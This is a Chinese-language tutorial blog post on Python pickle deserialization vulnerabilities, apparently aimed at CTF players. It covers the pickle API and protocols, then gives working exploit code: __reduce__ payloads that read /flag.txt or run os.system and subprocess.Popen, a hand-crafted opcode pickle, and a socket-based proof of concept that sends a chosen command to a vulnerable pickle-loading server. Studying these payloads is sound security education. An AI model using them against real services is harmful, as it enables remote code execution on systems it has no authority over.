1. 程式人生 > 實用技巧 >python反序列化

python反序列化

一、python反序列化的原理

反序列化的含義就不具體闡述,參考PHP反序列化的含義,下面直接進python中序列化和反序列化的具體實現過程。

pickle模組的使用

pickle提供了一個簡單的持久化功能。可以將物件以檔案的形式存放在磁碟上。

pickle模組只能在python中使用,python中幾乎所有的資料型別(列表,字典,集合,類等)都可以用pickle來序列化,pickle序列化後的資料,可讀性差,人一般無法識別.

pickle.dump(obj,file, [,protocol])

函式的功能:將obj物件序列化存入已經開啟的file中。
引數講解:
obj:想要序列化的obj物件。
file:檔名稱。
protocol:序列化使用的協議。如果該項省略,則預設為0。如果為負值或HIGHEST_PROTOCOL,則使用最高的協議版本。

pickle.load(file)

函式的功能:將file中的物件序列化讀出。
引數講解:
file:檔名稱。

pickle.dumps(obj[, protocol])

函式的功能:將obj物件序列化為string形式,而不是存入檔案中。
引數講解:
obj:想要序列化的obj物件。
protocal:如果該項省略,則預設為0。如果為負值或HIGHEST_PROTOCOL,則使用最高的協議版本。

pickle.loads(string)

函式的功能:從string中讀出序列化前的obj物件。
引數講解:
string:檔名稱。
【注】 dump() 與 load() 相比 dumps() 和 loads() 還有另一種能力:dump()函式能一個接著一個地將幾個物件序列化儲存到同一個檔案中,隨後呼叫load()來以同樣的順序反序列化讀出這些物件。而在__reduce__方法裡面我們就進行讀取flag.txt檔案,並將該類序列化之後進行URL編碼

python魔術方法詳解:https://pyzh.readthedocs.io/en/latest/python-magic-methods-guide.html#id51

可以看的出來在reduce函式他才具有呼叫函式的功能,我們在構建payload的時候,也大多數是藉由這個函式來進行發揮的,但這也只是在pickle的模組下成立,下面分享一個簡易的payload。

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload(),protocol=0)
a = urllib.quote(a)
print a

可以從上面的文件中看出,reduce這個特殊方法的功能大致就是這樣,你返回的是一個元祖,第一個元素是呼叫的物件,第二個是傳入的引數。

這裡的protocol=0也是一個新的知識點,有一個小技巧

v0 版協議是原始的 “人類可讀” 協議,並且向後相容早期版本的 Python。
v1 版協議是較早的二進位制格式,它也與早期版本的 Python 相容。
v2 版協議是在 Python 2.3 中引入的。它為儲存 new-style class 提供了更高效的機制。欲瞭解有關第 2 版協議帶來的改進,請參閱 PEP 307。
v3 版協議添加於 Python 3.0。它具有對 bytes 物件的顯式支援,且無法被 Python 2.x 開啟。這是目前預設使用的協議,也是在要求與其他 Python 3 版本相容時的推薦協議。
v4 版協議添加於 Python 3.4。它支援儲存非常大的物件,能儲存更多種類的物件,還包括一些針對資料格式的優化。有關第 4 版協議帶來改進的資訊,請參閱 PEP 3154。

使用的協議越高,需要的python版本就得越新。

下面再感謝從大佬那裡複製來的payload,手擼pickle,直接擼二進位制。https://blog.csdn.net/weixin_44377940/article/details/106863514。

先把指令集和手寫的基本模式貼在下面:

MARK           = b'('   # push special markobject on stack
STOP           = b'.'   # every pickle ends with STOP
POP            = b'0'   # discard topmost stack item
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # push float object; decimal string argument
INT            = b'I'   # push integer or bool; decimal string argument
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # push None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stack
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STRING         = b'S'   # push string; NL-terminated string argument
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " < 256 bytes
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argument
APPEND         = b'a'   # append stack top to list below it
BUILD          = b'b'   # call __setstate__ or __dict__.update()
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build & push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build & push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding
​
TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

基本模式

c<module>
<callable>
(<args>
tR

舉個例子:

cos
system
(S'ls'
tR.

這部分按照指令集中的b'c'來看,表示引入模組和函式。由於該指令需要兩個字串(一個為模組名,一個為函式名),所以,接下來的兩個字串用\n當作分隔符和休止符,意義為__import__(os).system

tR.

這個最簡單,b't'表示從最頂層堆疊項生成元組,b'R'表示在堆疊上應用可呼叫的元組b'.'表示結束構造pickle。也就是說這個指令等同於__import__('os').system(*('ls',))

所以這裡告訴我們一個道理,萬物到最後都是組合語言,二進位制,web狗活不下去的。

json

# json所有的語言都通用,它能序列化的資料是有限的:字典列表和元組
import json
# json.dumps()與json.loads()是一對
# json.dump()與json.load()是一對
# json.dumps()#序列號 “obj” 資料型別 轉換為 JSON格式的字串
# ret = json.dumps({'k':(1,2,3)})
# print(repr(ret),type(ret))      #str()是將作用物件“以字串格式輸出”,重在輸出;repr()是“顯示物件是什麼東西”,重在表述。所以在除錯程式時常常用後者列印。
# ret2 = json.loads(ret)    #將包含str型別的JSON文件反序列化為一個python物件
# print(repr(ret2),type(ret2))
# #json.dump()#理解為兩個動作,一個動作是將”obj“轉換為JSON格式的字串,還有一個動作是將字串

shelve

# shelve也是python提供給我們的序列化工具,比pickle用起來更簡單一些
# shelve只提供給我們一個open方法,是用key來訪問的,使用起來和字典類似

差不多是這個樣子。

二、漏洞舉例

# -*- coding:utf-8 -*-
import subprocess
import cPickle

class Ren(object):
    name = 1
    def __reduce__(self):
        return (subprocess.Popen, (('cmd.exe',),))

print "start"
ret = cPickle.dumps(Ren())
print repr(ret)
#cPickle.loads(ret)
print "end"

這上面是一個簡單的測試,直接執行的效果是反序列化後根據位元組集拼接起來的二進位制資料,可是反序列化一下之後,就是直接執行subprocess.Popen('cmd.exe',).

同理,cPickle的漏洞Pickle也有。

在實際的web服務利用中,其實很多都已經不是靠這樣的利用方式,都是通過base64來進行二進位制資料的傳輸。

下面的示例都來自於下面這個大佬:https://www.cnblogs.com/KevinGeorge/p/8424630.html(我只是復現怪)

示例1

client.py

#serail.py
# -*- coding:utf-8 -*-
import os
import socket
import cPickle

class Vuln(object):
    name = 1
    def __reduce__(self):
        return (os.system,(('id'),))

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("127.0.0.1",5222))
m = Vuln()
ret = cPickle.dumps(m)
sock.send(ret)
sock.close()

server.py

#server.py
# -*- coding:utf-8 -*-
import socket
import os
import cPickle

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(("127.0.0.1",5222))
sock.listen(5)
con,addr = sock.accept()
ret = con.recv(1024)
m = cPickle.loads(ret)

poc.py

import os
import sys
import socket
import cPickle

#定義payload型別
class payload(object):
    def __init__(self,command):
        self.__command = command
    def __reduce__(self):
        return (os.system,((self.__command),))

#定義全域性socket物件
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#定義主函式,生成payload物件
if __name__ == "__main__":
    cmd = sys.argv[1]
    rip = sys.argv[2]
    pot = sys.argv[3]
    payload_object = payload(cmd)
    send_object = cPickle.dumps(payload_object)
    sock.connect((rip,int(pot)))
    sock.send(send_object)

示例二

yaml.load函式的不規範性,導致反序列的漏洞產生

https://blog.csdn.net/qq_33020901/article/details/80062197